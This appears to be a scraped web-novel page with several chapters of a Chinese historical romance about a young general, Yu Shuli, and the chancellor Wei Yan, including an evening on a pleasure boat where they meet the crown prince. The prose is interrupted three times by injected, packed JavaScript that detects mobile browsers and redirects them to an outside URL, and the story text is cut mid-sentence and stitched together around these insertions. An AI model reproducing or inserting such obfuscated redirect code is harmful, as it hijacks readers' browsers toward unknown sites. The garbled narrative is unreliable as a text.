;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961464|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个样子,但到底,魏延会伤心吧?” 俞书礼抬头,有些疑惑:“嗯?” “比起礼物,他肯定更希望你到场。” 果然,郑施意这话音刚落,那头小厮就来报,说丞相府送了回礼过来,但不好拿,要小将军亲自去门口取。 郑施意笑了笑:“看,还是那孩子大气。”她推了推俞书礼:“还不快去瞧瞧,他给你回送了什么。” 俞书礼被迫起身,往门口去了。 到了门口,却没见到什么礼物。 俞书礼心有疑虑,再往外一看,发现魏延披着厚重的长氅,正在外面笑眼盈盈看着他。 俞书礼一个咯噔,心跳的飞快,然后快速回身,“砰”的一声,把门关上了。 魏延脸上的笑容终于僵硬了下去。 他在门外问:“你不想见我?” 俞书礼努力平复自己莫名其妙的心跳,抿了抿唇,靠着门背一本正经解释道:“不是的,是我太忙了。” 本来开门的小厮等在一旁,露出莫名其妙的笑容。 被俞书礼瞪了一眼之后,才老实地背过了身,捂住了耳朵装听不见。 魏延的声音冷了些:“既然你不想见我,那我走了。” 脚步声渐行渐远,伴随着一阵又一阵的咳嗽声。 俞书礼心里有些担忧,只好泄了气,慢吞吞把门重新打开,想偷偷看一眼,看看他有没有事。 这才发现,魏延好端端在门口站着,也分明没有离开。 “你骗我?!”发现一切都是魏延伪装后的小将军顿时有些气急败坏。 魏延走上前,压低了声音,眉眼温顺:“我来都来了,你也不忍心让我站在外面吹冷风吧?” 俞书礼只好将人请了进去。 进了门,俞书礼带他去了自己的卧房。 两人都是男人,倒是没那么多避讳。俞书礼给魏延倒了热茶,这才问:“怎么突然想到来找我了?” “这不是约了某人见面,结果某人爽约了吗?” 俞书礼心知理亏,只好讪笑了一下。“你家中长辈在,我不大好意思。” “有什么不好意思的?”魏延手指拧起茶杯,微抿了一口,意味深长看过来:“他们将来也是你长辈。” 俞书礼也在喝茶,闻言一口喷了出来。“你胡说什么呀?” 他试图掰扯清楚关系:“你的长辈是你的长辈,怎么就成我的了?!” 魏延看他炸毛,忍不住低声提醒他:“婚约?” 俞书礼睁眼不认账:“婚什么约?” 魏延气笑了,也不再提:“行。”他递过来一个小盒子:“回礼,看看吧。” 俞书礼打开一看,竟然是一盒银票。 他猛地推开:“这什么啊?你贿赂我?我先说好啊,我这个人,可不是几百两能随随便便收买的。” 魏延挑眉:“仔细看看。” 俞书礼这才认真去看上面的数额。 竟然是……一万两。 他“嘶”了一声,“砰”地把盒子阖上,换了张笑脸:“但是一万两可以收买。” 魏延瞥他:“先前不是视金钱如粪土?” 没怎么见过世面的乡巴佬俞书礼干笑:“都怪我,生了这样一张喜欢胡言乱语的嘴。都是误会,误会……” 魏延失笑,叹了口气:“这么轻松就能收买你,早晚被人骗了。” 俞书礼“哼”了一声,“那也要有这个财力。”他手指敲在盒子上:“突然送我这个干嘛?” “不算是送你的。”魏延把视线从俞书礼的手指上收回,“你还记得陛下在早朝时说的话吗?” 俞书礼点头,他当然记得,明里暗里要筹款赈灾嘛。 “那些贪污腐败的老头都没站出来,我凑什么热闹?”俞书礼阴阳怪气道:“我家可不是什么暴发户,能有这么多钱。” “所以这是替你给的。”魏延道:“捐款。” 俞书礼瞪大眼:“合着不是给我的啊……” 魏延轻笑:“至少现在是你的,你可以在兜里捂一会儿。” 10. 夜寻欢 俞书礼别别扭扭地把银票收下,他知道这是魏延的一番好意。 俞书礼不是那种矫情的人。 他俞家囊中羞涩,如今又成了众人面前眼中钉,明面上的捐款肯定少不了,但俞家本就清廉,怎么可能给的出来这么多钱。 就算不用来装面子功夫,也总要应付皇帝的。 他上下打量魏延:“老实交代,你哪里来的这么多钱?” 魏延一笑,凑近了些:“你在拷问我?” 午间的阳光照在他的脸上,让本来白皙的脸有些红润。 俞书礼梗着脖子:“对啊,不行吗?” “当然行。”魏延眼睛弯了弯,故意扯谎回答他的问题:“钱当然是贪官抄家的时候挖出来的。” 俞书礼闻言,吓得一把甩开盒子,瞪大了眼睛:“这是赃款?” 他咬牙推了一把魏延:“你怎么能做这种事情?” 魏延看他着急的模样,语速放慢了些,诱哄他:“小将军往后跟了我,荣华富贵,享受不尽,这样不好吗?” “魏延,”俞书礼试图讲道理:“我知你身份,要你一直坚持清正廉洁不易,人在其位,有时候身不由己。但是,私吞赃款是大罪,我不希望你为了一点钱财,冒这样大的风险。” 魏延一挑眉:“你在担心我?”他遗憾地收起盒子:“那算了,既然瞧不上我给的赃款,那你自己解决吧。” 魏延起身,拍了拍衣服上并不存在的尘土,淡淡道:“告辞。” 眼见着魏延急眼了,真要走,俞书礼这才一把拉住他的手。“魏延……你听我说……” 情急之下,本来应该拉住魏延的手腕,但不知怎的,两人竟然手指相扣在了一起。 俞书礼手指一颤。 魏延的手好凉。 魏延唇角勾起一个弧度,不动声色回头看他。“怎么?” “你很冷?”俞书礼问道。 他自己常年习武,浑身热腾腾的,像一个小火炉一样。握住魏延手的时候,就像在捂一块冰块。 魏延漠然地侧过身,一副还是要走的样子,嘴上却很诚实:“嗯。” “对不起啊……在门口等了很久了吧?”俞书礼有些歉疚:“那个……我知道你公务繁忙,刚刚那杯茶也凉了,要不我再给你倒杯热茶,你喝了再走?” 魏延转过头,见俞书礼松开了他的手,然后利索地拿过茶碗,给他倒茶。 手指上的温度骤然一松,魏延眼里闪过一丝不知名的情绪,“我不忙,忙的是你。” “啊?”俞书礼抬头,眼中有些茫然:“我不忙啊。”他把茶递过来。 魏延接过茶杯,却依旧不喝,“不忙?”他嗤笑一声:“不忙怎么爽约?” 得,话题又扯回来了。 俞书礼心虚地别开眼睛,“那……那……” 他还没那出个所以然,却听魏延问:“晚间你有空吗?” “干……干嘛?” “我在玉兰云舫订了位置,想吃剁椒鱼头吗?” 俞书礼眼睛瞬间就亮了:“想吃!”但瞬间,他表情有些迟疑,欲言又止。 魏延眼睛弯了弯:“行,那就别再爽约了。”想了想,他补充了一句:“不是赃款,是做话本生意赚的,干净钱,之前是故意闹你的。” 俞书礼这才松了口气,“那就好……” 魏延还不算个大贪官,这让俞书礼松了一口气。 否则要是将来眼里容不得沙子的二皇子上位,他要斩草除根,俞书礼还当真对魏延动不下去手。 性情顽劣阴鸷、喜欢算计这些都算不得什么,终归魏延也不会害自己。 想通这些,俞书礼竟也没心思计较先前魏延故意撩拨他、玩弄他的事情,反而伸手抱拳,笑嘻嘻道:“谨遵丞相令!” * 到了晚间,俞书礼换了身略微隆重的衣衫,狗狗祟祟想要摸出门。 结果被刚刚从外面回来的俞华信一把拎住。 “又去哪里?臭小子!”俞华信见过多次俞书礼这副偷偷摸摸的样子,都是去往青楼,现在见到俞书礼穿的人模狗样就要往外跑,下意识就动了肝火。 “不……不去哪里……”俞书礼知道父亲对魏延有些意见,故而不想告诉父亲是去见他,于是谄媚地笑笑扯开话题:“爹,好巧啊,刚下值啊?” “不巧。我就知道你小子白天这么安分,晚上没安好心。”俞华信敲了敲他的头:“老实交代。” 俞书礼撇了撇嘴,心知瞒不住了,只好含糊不清道:“就……去和魏延吃饭嘛。” “和魏延吃饭,要穿成这样骚包的鬼样子?你何时穿过这种京城公子的长袍?想骗谁呢?”俞华信赶忙把郑施意叫出来:“我是管不好你了,让你娘说你。” 俞书礼摸了摸自己身上那一身锦缎,有些心虚地解释:“哪里骚包了?不就是普通的衣服嘛?而且那魏延订的是玉兰云舫嘛!那船舫很难订的!去的都是皇亲国戚和贵客,那么贵重的地方我也不能穿着甲胄去吧?” 郑施意赶来的时候,俞书礼还在和他爹争论自己到底是不是要去不正经的地方。 看到帮手来了,俞书礼眼睛一亮:“娘!你快劝劝爹,他不让我出去和魏延吃饭!” 郑施意和俞华信两人一照面,郑施意就明白了俞华信在担心什么。 郑施意瞥了一眼俞书礼,笑着打趣道:“今日穿的很好看。” 俞书礼脸颊红了红:“我只是随便找了件普通衣袍穿了。” 郑施意点了点头,没有拆穿他:“嗯,确实,是我家宝贝儿子天生丽质。” “没错没错。”俞书礼得意地看了俞华信一眼:“爹,都说了,是我继承了娘的貌美如花,披块抹布都好看的。” “所以你这么晚了,和魏延出去,就是为了披块漂亮的抹布,在船舫吃饭?”郑施意打探道:“没有别的?” “能有什么别的?!”领会到亲娘的暗示意味,俞书礼气的跳脚:“我和他不是那种关系!我们就是纯洁地一同吃个饭!” “行行行!娘信你了。”看到儿子炸毛,郑施意抿唇笑了笑:“去吧,回来的话让小厮给你留个门,不回来也行,注意安全。” 听到“不回来也行”的话,俞书礼难免生了些怨念:“娘……你这也太敷衍了……” 郑施意揶揄一笑:“这不是知道你和魏延在一起嘛,那孩子靠谱,我相信他。” 俞书礼耳根红了红,“哼”了一声,同手同脚地甩门走了。 俞华信撇了撇嘴:“这臭小子,就得你治他。” 郑施意挥了挥手,“过来,和你算个账。” 俞华信心虚开口:“什么……什么账?” 郑施意抬眸,示意他回房:“听说那两个我带回来的小厮被你撵到伙房去了?……” * 俞书礼顺着夜街走着,等到了灯火通明的船舫码头,他扯了扯自己身上的月白色长袍,直到扯松了上面的金丝绣线,才有些挣扎地想,是不是今晚真的穿的过分隆重了。 但那可是玉兰云舫诶!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961465|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他在边关的时候就想着,若是有一日战事了了,他回了京城,一定要像那些贵公子一样,饮酒念诗,寻欢作乐。 听闻玉兰云舫上有天下第一琴师奏乐,俞书礼早就膜拜已久,今日穿这么隆重也是起了拜会的心思。 小时候的俞书礼其实并不习武,他长相文雅瘦弱,像个小姑娘一样,性格也随了娘亲,一直安安静静的。 那个时候俞家在西北还盛极一时,郑施意擅音律,院中时不时就是动人的乐声,俞书礼不爱跟着父亲去军营舞刀弄剑,而是喜欢跟着母亲,抚琴弄弦。 但这种宁静很快被打破,俞华信战败归来,一身狼狈,从此一蹶不振。 俞家被强制入京,皇帝以爵位之名,行的是监管之事。 从此这本来幸福的一家人,自此困顿京城,不得无故离京。 为了摆脱困境,俞书礼从爱哭喜静的小公子一夜之间长大,在各方势力的虎视眈眈之下,拔剑上了战场。 别说饮酒作乐,他就是想再听听悦耳的丝竹声,都像做梦一样。 难得今日有这样的机会。 夜风微凉,但明媚的灯火照的俞书礼心中微暖。 他理了理衣袍,在上船的时辰截止之前,凭着票证走上玉兰云舫。 船夫清晰地长喊一声:“时辰到,开船~” 这艘硕大的船舫就在长河中缓缓行驶了起来。 俞书礼在船上穿行,找了半天,终于在船尾找到了盯着远处发呆的魏延。 俞书礼伸手在他眼前晃了晃:“喂,发什么愣呢?” 他斜倚在魏延身边,抱怨道:“说好了等我,却偷偷躲起来,让我好找,我还以为你放我鸽子了。” 魏延听到他的声音才缓缓回过头,愣了一下:“俞书礼?” 俞书礼“嗯”了一声。 “我还以为……你又不来了。”魏延声音低低的,听起来还有些委屈。 俞书礼确实是踩着点到的,但魏延看起来确实已经等了许久。 莫非是他见自己迟迟不出现,所以以为自己又食言了? 所以他走到船尾,发着呆,其实是生闷气? “怎么会?!”俞书礼赶紧拉了拉他的衣袖,让他抬起头看向自己。 “你瞧,我这不是来了!”他的眼睛亮晶晶的,粉唇微弯,一身月白色的衣衫下身形颀长,漂亮的不像话。 魏延眼中失神了一瞬,喉结滚了滚:“你……你今日,怎么穿成这样?” 俞书礼一撇嘴:“不好看?” 魏延措辞许久,想要夸赞他,最后却不知道为什么突然词穷,只挤出了“好看”二字。 却见俞书礼兴奋地拉住他的衣袖,问他:“听说那个天下第一琴师会在船上演奏,什么时候开始呢?” 魏延本来勾起的唇角瞬间垂落,声音也瞬间冷淡了下去:“你来,是因为想见她?” “不是答应了你吃饭嘛,顺便就想听听她的琴声。”俞书礼没有意识到魏延瞬间低落下去的情绪,还兴致勃勃道:“咱们的座位在哪里?” 魏延垂眸看他,不语。 就在这时,船舫里面一片欢呼声响起。 俞书礼心中一动,正要踏入舱中,被魏延一把拉住手腕。 他的力道极大,俞书礼一时间竟然没有挣开。 正待要说什么的时候,不远处走过来一行人,眼看着也要走入船中。 月色下,俞书礼眯着眼睛转头,恰恰看清了领头那人。 正是当今的太子殿下。 11. 吃软饭 见了太子,俞书礼脸色一白,哪里还有不明白的。 他甩开魏延的手,转头看向他,冷声道:“魏延,你算计我?” 魏延此时也拧了眉头。 恰逢太子几人的目光看了过来,他一把把俞书礼拉回阴影处。 脚步声越走越近,俞书礼被魏延按在船板上,一根微凉的手指按在他的唇上,示意他不要出声。 俞书礼眨了眨眼睛,有些疑惑。 魏延他……好像也不知道太子来了的事情。 领头的男人低声笑着,被一群人逢迎恭维着送入了船舱内。 期间,魏延就保持了这个姿势,挡在俞书礼身前。 月色歪斜了些,魏延这才松开了他,开口解释:“抱歉,我不知道太子会来。” 俞书礼依旧保持着原来的姿势站着,不知道在想些什么。隔了许久,才闷闷地“嗯”了一声。 俞书礼和太子是一直不合的。 早年俞家因那张圣旨胁迫入京的时候,他爹带着他上京品尝京中小吃,曾撞见过太子的銮驾。 骏马疾驰,沙尘四起。 俞书礼当时手中抓了个手抓饼,本来油乎乎的饼被溅上了一层土,被他爹拉着后退。 却见一个个子小小的男孩被拥堵的人群挤了出去,就跌倒在了马车沿途的路前。 那孩子的母亲赶忙喊他回来,可是小男孩似乎摔伤了,站不起来。 马车的车架速度极快,见了人也丝毫没有降低速度。 眼看着马蹄在前,那小男孩的母亲发出一声哭叫。 俞书礼丢开手抓饼,翻身出去,抱住小男孩一个翻滚,躲过了即将践踏过来的马蹄,然后翻身上马,用力地拉扯住了辔绳,马也发出了一声嘶叫。 马车夫被他挤到了车角落,风驰电掣的车马终于被迫停止了。 车厢里传来瓷器碎裂的声音,一片凌乱。 俞书礼拍了拍车夫,让他以后行车小心,然后就翻身下了车。 本以为就是场小意外,谁知车厢里的人沉了声,就要人拿下俞书礼问罪。 俞书礼当时莫名其妙,加上又是初来乍到,也不知道里面的人是谁,就怼了一句:“在这种百姓多的地方,行车架也不知道慢些,枉顾人命,还好意思问我罪?” 车架上的人掀开车帘。 一双锐利精明的眼睛之后,就是一张看起来就会斤斤计较的脸。“大胆刁民!敢阻拦太子车架!还不快来人将他拿下?!” 俞书礼抬头,见到了这个阴阳怪气,没有一点阳刚之气的男人背后,那一张阴沉桀骜的脸。 那人头戴翠玉镶金冠,身穿一件黑色蟒袍,面目端方,有一股不怒自威的气质。 那就是当今太子,赵雍。 小太监报了名号,俞书礼却仍旧寸步不让,见肇事一方丝毫不认错还执迷不悟,干脆要让里头的人站出来向百姓道歉。 两边剑拔弩张。 最后俞华信站出来,点头哈腰,又是给太子道歉,又是赔罪。 那个一直不动声色的太子最后弯了弯唇角,才开口出声:“我说京城里没见过如此年轻气盛的小公子……原来是俞老将军家的……” 他的表情多了一丝兴致,又转而看向俞书礼:“今日是孤回京中有要事要办,情急之下才差点伤到百姓。俞小将军一身正气,孤早有耳闻,今日一见,果然是风姿端秀,玉树临风。” “罢了,今日之事,是孤错了,”他侧身朝向那个孩子的母亲:“实在抱歉,后续我会派人送去慰问,万请收下,原谅我手下的莽撞无礼。” 那妇人吓得大气不敢出,边哭边说:“不敢”,“受不起”。 俞书礼却闷闷地终于满意了,“这还差不多。” 赵雍转头,再次看向俞书礼,又上下打量了一番。 这回的眸中带了些不为人知的亮光。 他瞥了一眼俞华信,道:“俞将军初到京,届时宫中一定为您接风洗尘。” 俞华信连声躬身道:“惭愧惭愧……” “至于俞小公子……”赵雍不知道想到了什么,突然露出一个灿烂的笑容:“咱们来日方长。” …… 赵雍走后,俞华信弓起的身子才直起了些,回头猛的甩了俞书礼一巴掌:“那也是你能得罪的人吗?你母亲仁善,把你养的无法无天了!” …… 回忆结束,俞书礼长舒了一口气,看向魏延:“所以,只是偶遇?” 魏延点点头:“放心,我在,太子不会难为你。” 他见俞书礼面色不快,立马道:“你不是想听曲?马上要开始了,咱们进去吧。” 俞书礼想了想,还是点了点头,跟着他进船了。 这些年,他不是没有和太子接触过,表面上倒是和睦,实则互相恨得牙痒痒。 暗自里,两边也早就互相较量过许多回。 要不是俞书礼战场有功,太子怕是早就对他下手无数次了。 而俞书礼也是同样的,他绝对不会允许太子继位,所以早就与二皇子交好了。一旦太子下台,就是两边撕破脸皮的时候了。 船舱里挂着明亮的华灯,俞书礼跟着魏延在船舱中间的位置坐下,店家把一道道小菜先上了上来,又笑着说:“海棠姑娘换身衣裳就来,今日弹的是《鹊桥仙》。” 台下一阵起哄的声音,就连太子也柔和了眉眼,端起酒水,轻轻啜饮了起来。 俞书礼拉了拉魏延的衣袖:“她是谁?怎么能有这样大的动静?” 魏延眼中一顿,有些惊讶:“你不认得?” 俞书礼脸上的表情显得十分莫名其妙:“很有名吗?我一定要认得?” 魏延有些无语:“不是你心心念念要见天下第一琴师?” 俞书礼睁大眼睛:“你说她就是天下第一琴师?!” 魏延见他一副真的完全不相识的样子,不由得失笑。 “连海棠姑娘就是这天下第一琴师都不知道,还好意思说欣赏人家?” 见魏延眯着眼睛嘲讽自己,俞书礼瞪他:“怎么就不能欣赏了?我欣赏她弹奏的曲子,又没必要知道她本人,况且世人传的皆是她天下第一琴师的名号,我哪里知道她叫牡丹。” 魏延哑然:“人家叫海棠……” 俞书礼:…… “这不重要,反正我听说她弹的曲子可好听了!”俞书礼双手托腮,“一定是个极美的女子。” 魏延喉结动了动,垂眸仰头喝了杯酒。 片刻后,灯影晃了晃,一个身形秀美的女子缓缓走上台。 她头戴着轻纱,朝众人大方地一笑,就端坐在琴前,没有任何开场语,就开始演奏。 小厮在台下端着赏盆,一路走,一路接受看客们的打赏。 眼看着小厮就要过来,俞书礼面色突然慌乱。他的兜,比他的脸还干净。 为了防止尴尬,他干脆火速地垂下头,背脊弯到膝盖,就这样缩了下去,身子硬梆梆的压根掰不起来。 小厮停在眼前,俞书礼权当没看见。 饶是魏延也有些弄不清他到底在干嘛。 “公子……公子……”小厮脸上变了变,叫了俞书礼几声,俞书礼都没理睬他。 魏延甩了块银子出去,想把人打发了。 谁知边上一只手火速地伸了出来,把银子又捡了回去。 然后……揣进了自己的兜里。 小厮:? “小公子,您有事吗?”小厮脸上的笑容快要维持不住:“那打赏……” 俞书礼摇了摇头,“没有。” “刚刚那位公子都给了……” 俞书礼终于将身子放直,垂涎上了魏延那一块银子,只好叹了口气开始演戏:“不瞒你说,这是我的卖身钱。”他擦着眼角,抹着眼泪:“我这么多年不容易啊,为了这一点点钱委身于他,结果他不做人啊!把给我的钱用来打赏啊……小哥你行行好吧……他心血来潮的时候,可是压根不分脸和屁股的……” 小厮“啊”了一声,不由得心疼起面前这个细皮嫩肉的小公子来。 他露出一脸鄙夷的表情看向魏延,想劝又不敢劝。 名声坏了的魏延脸都黑了:“俞季安……” 俞书礼连忙脸色惨白地推小厮离开:“你快走,他揍人可是不分青红皂白的!” 小厮看了眼魏延看起来滂臭的脸,也有些信了,跑得飞快。 等人走后,魏延才笑出声:“你胡闹什么?” 俞书礼老实回答:“我没带钱。” “我不是帮你付了 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魏延瞥他一眼,声音酸的像是喝的醋,而不是喝的酒:“你看别人就行了,管我做什么。” 俞书礼:…… “哥哥,我不过就是喜欢看漂亮的姑娘,这点你都不能理解吗?”他叹了口气,手指慢慢摸到魏延的腿上,用力捏了一把:“诶,看来我们不是很合适。” 魏延一把抓住他的手腕,冷着脸看过来。“不合适?不合适还撩拨我?” 俞书礼还没那么没眼力见。他小心翼翼凑过去,拿开魏延紧握着的酒盏,试探地问道:“魏延,你是在吃醋吗?别吃醋,撩拨算什么,我可不只有脚踏两条船的本事。” 他挺胸抬头:“往后吃醋的日子多了去了!” “你最好只是喝多了说胡话。”魏延气笑了,他的手指蹭了蹭,挨到了俞书礼身边,一双本来就生的极好的眸子如今水润惑人:“俞季安。” 被他贴着身子,俞书礼眼睫颤了颤,却没有躲开。 魏延彻底歪了过来,半边身子几乎要靠到他怀里。“今天是我生辰。” 俞书礼愣了愣,终于没有再闹:“你说什么?” 他有些不可置信地看向已然有些醉醺醺的魏延。算一下日子,好像确乎是的! 突然明白,他的母亲和祖母突然回家是为了什么。 中午自己放了他鸽子之后,他为什么又要失落地找上门,又约他共同吃晚饭,约的还是玉兰云舫这样的地方。 俞书礼目光有些复杂地看向身侧的魏延,抿了抿唇。 台上一曲奏罢,海棠姑娘施施然行礼,准备下台。 看客们欢呼一声,喊着:“再来一曲!再来一曲!” 俞书礼刚要侧头看过去,却被魏延一把抱住。 他的双臂从背后伸过来,把俞书礼扣在怀里,扣的死死的。 俞书礼的后背抵在一块硬邦邦的东西上,恍惚了片刻才想起来,那应该是他中午赔罪送的玉佩。 已经被他珍而重之地戴在了身上了吗? 可……那也只是赔罪用的,压根算不上生辰贺礼。 “不许看别人!”魏延威胁道。 “我不看。”叹了口气,俞书礼没有再去看台上,他的视线放在魏延身上,再也挪不开。 醉酒的男人,丢失了往日高冷无情的模样。 又凶又粘人。 脸上添了些耀眼的红色,衬的一张脸万千风华。 俞书礼知道魏延长的好,可是却从来没见过他这幅模样。 慌乱的,不知所措的,若有若无地攀附自己,勾人却不自知,却挠的人心痒痒。 俞书礼突然想:好像……同魏延成婚,也没那么糟糕? “魏延,”俞书礼想了想,突然道:“你是不是没听过我弹琴?” 魏延“嗯”了一声。 “那我给你弹一首吧。”俞书礼有些羞赧地揽住他,把他扶起来摆正:“就当……就当给你的生辰礼物。” 魏延掀开眼皮看他。 俞书礼在原地已经红的像个小苹果。 真好欺负,乖的不像话。 魏延眼中只剩无尽温柔:“好。” 12. 生辰礼 俞书礼看向那座船上的高台,有些踌躇。 魏延道:“你若是介意太子在,可以等回去之后单独弹给我听。” 俞书礼看向他:“你不是说,有你在,我就没事?”他一笑:“再说了,公众场合,我就不信他敢当众动手。” 魏延拧了拧眉:“俞书礼,你没必要迁就我。” “得了吧,小爷会迁就人?”俞书礼安抚地拍了拍魏延:“放心,来都来了,小爷一定让你宾至如归。” 魏延无奈地叹了口气:“这词不是这么用的。” “你喝醉了,你不懂。”看着魏延有些熏红的脸,舍弃了往日的凉意,看起来柔软可欺多了,俞书礼大着胆子去摸他的脸。 软软的,过分白皙,如玉一般的肌肤,一双媚意横生的眼睛认真地看着他。 俞书礼手指一颤。 不能再看了,再看真的要弯了。 魏延抓住他的手指,警告地看了俞书礼一眼,嗓音有些微哑:“俞季安,别招我。” 俞书礼耳根红了红,甩开他的手,嘟囔:“谁招你了?!”他一双明亮的眼睛左顾右盼,就是不看魏延了。 魏延却还是有些吃不消。 “还弹曲吗?” “弹!”俞书礼一咬牙,抬步就要上去。 才走了两步,又突然止步,回头:“魏延……” “嗯?” “我若是弹的不好,你能不能也给我捧捧场?”他揪了揪衣衫,放轻了声音:“我许多年没摸过琴了……” “好。”魏延眼中带着复杂的笑意。 “你笑什么?我说的是真的,我从前弹的可好了!” “嗯,我知道。”魏延的心中一片柔软。 “你知道?你才不知道呢!”俞书礼挥挥手,“好了,我先弹着去,等会儿要是没人给我鼓掌,你得头一个给我鼓掌!” 他走了几步,又回头威胁:“一定要鼓掌!难听也要鼓!” 魏延伸手发誓:“我保证鼓掌。” 俞书礼理了理那身华贵的衣袍,磨蹭了半天,终于转身缓缓走上台,低声和那位海棠姑娘低语了几声。 海棠姑娘眼中微微震惊了一下,转而就露出一丝笑意:“当然可以。” 俞书礼问船舫借了块面纱,微微俯身调着琴,半边脸照在最亮堂的灯火下,靡颜腻理,国色天姿。 半点朦胧的头纱,将俞书礼那张本来就明媚的脸趁的越发惊艳。 台下的看客低声交谈着,不明白这个突然上台的小公子是什么人。 海棠躬身朝看客行礼,并笑道:“接下来,由我身边这位俞小公子给大家弹一曲《瑞龙吟》,为他的好友庆生,希望大家一起来欣赏支持。” “小公子?好好好……这么标致的小公子,可比那春香院的带劲多了!”跟在太子身边的两个僚臣没认出来不着甲胄、神情温婉的俞书礼,涎笑了两声,都心照不宣地动起了小心思。 太子赵雍的脸在光下明暗不定,他什么都没说,但僚臣感觉他的视线也十分恐怖地锁在了台上的小公子身上。 礼部侍郎单世海过了一遍太子的视线,自认心中有数,对着太子低语道:“殿下,此人面生,出现在船舫实在古怪,臣下觉得应该将其抓起来仔细调查。” 赵雍的视线落在俞书礼为了抚琴方便而露出来的皓腕上,他轻笑了一声:“不必,孤心中有数。” 单世海讪笑了下:“原来是殿下相识之人?” 赵雍不点头也不摇头,目光已经完全定在了台上之人身上。 单世海只好闭嘴。 魏延往前走了几个座位,几乎就挨在高台之下,俞书礼只要往下看,一眼就能看到他。 俞书礼调整好琴,站直了笑道:“今日是我好友的生辰,但我午间睡过了头,到了现在还欠了他一样生辰礼,所以今日斗胆献艺。” 台下哄闹地跟着笑了笑。 俞书礼又道:“不过我琴艺一般,水平有限,在这里的都是贵客,希望大家对我的水平多担待,要骂我也轻声骂些。” “快别磨叽!赶紧来一曲!”台下吆喝道。 “就冲着你这长相,我也不笑你!快开始!” 俞书礼也不扭捏,弯了弯眼睛,开始俯身弹琴。 清越的琴音缓缓流淌出来,悠扬的旋律穿过清冷的夜色,在长河上缓缓流转。 台下的看客早就收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“安王,丞相大人,竟在这里遇到你们,真是令人惊讶的邂逅。”一道讨人厌的声音,打破了两人的温馨时刻。 13. 揍太子 俞书礼脸上的笑意瞬间收起。用“安王”两个字来膈应他的身份,又用这种语调来称呼他的,除了太子,就不会有别人了。 他抿了抿唇,冷着脸转身行礼:“太子殿下,真巧。” 魏延没有打招呼,目光冷冷地看着太子。 太子也不管魏延无礼,毕竟在皇帝面前,他都可以不行礼。 赵雍伸手按住俞书礼的手腕,动作暧昧地将他缓缓抬起:“安王在外就不必多礼了。” 俞书礼拧眉看着太子攥着自己的手腕不肯松手,面色黑沉。 赵雍恍若未觉俞书礼眼底的厌恶,他的视线牢牢定在俞书礼的脸上,端详半天:“安王今日着妆了?” 俞书礼僵硬着身子:“并无。” “是么?”太子伸出手指,往俞书礼的面上抚去:“孤瞧着你这张脸,当真是国色天香……” “殿下。”魏延出声打断,俯身倒了杯酒,抓过太子的手递给他,语气不卑不亢:“赈灾之事辛苦殿下了。” 赵雍看到魏延阻止,倒也没有再为难俞书礼,只是轻笑了一声,就松开了俞书礼的手。 他接过魏延的酒,一饮而尽,并将酒杯往下倒了倒,示意自己已经饮尽:“还要多谢魏丞相提携,往后也多多指导指导孤。” “微臣不敢,”魏延冷笑一声,“品酒也需得慢饮,才能品出其文章,太子饮的有些心急了。人心不足蛇吞象,殿下谨记。” 他身上可没任何卑微的“不敢”的样子,还浑身散发着可怕的戾气,语气虽然平淡,但话中充满威胁。 赵雍一愣。 魏延这个人,赵雍是一向不想同他斗的。 此人长袖善舞、满脑子的鬼蜮伎俩,有时候曲意逢迎,对有作用的人千般讨巧,有时候又过分直接,对他这个太子连行个礼都懒的行。 当然有各方势力想要拉拢魏延,但他是从头到尾没有站边过任何一个皇子的,似乎他的心中只有皇帝一个人一样。 皇帝因而也特别信任他,信任宠溺到近乎昏庸的程度。 但是众人皆知,魏延才不是什么听话的狗。只是皇帝身边再无能人,不得不用他罢了。 魏延身有病症,一向也无人敢去找他麻烦,毕竟一言不合就病倒吐血,这样一个碰不得,动不得,惹不得的人,今日却当着这么多人的面,明目张胆表明了对太子的不满,还驳了他的脸。 赵雍心有不悦,却只好咬牙忍着。“孤晓得了,多谢大人教诲。” 僚臣们也都劝诫过太子,不要招惹魏延,此人阴狠毒辣,极为擅长借刀杀人。 一个稽刑司在他手里,连皇帝都要忌惮他三分。 手上人命无数的人,猜不透其心思就该退避三舍。 赵雍也一直照着办了,离魏延总是远远的,从不与他起冲突。 但今日,似乎是多饮了几杯的缘故。赵雍总觉得,魏延这般护着俞书礼的样子,让他看着怪不顺眼的。 心头有把无名的火在烧,想要把他脸上那张伪善的面具撕掉,让他发疯,让他丑态毕露。 魏延把俞书礼拉到身后,冰冷的视线略过赵雍身后一批僚臣,笑道:“今日诸位大人都在,为赈灾之事,大家都辛苦了,魏延敬诸位一杯。” 他自己举杯饮尽,几个僚臣不好推辞,黑了黑脸,被迫也陪了一杯。 太子的视线落在俞书礼和魏延身上,来回打量后,猛地再饮了一杯。 杯酒过后,本来应该收敛的赵雍却一下子气血上涌,并没有再忍下去。 他的眼神盯在俞书礼被魏延握住的手腕上,笑了笑,意味深长道:“安王这是和丞相夜会游船来了?今日的打扮……着实与众不同。”话题又被他扯回了俞书礼身上。 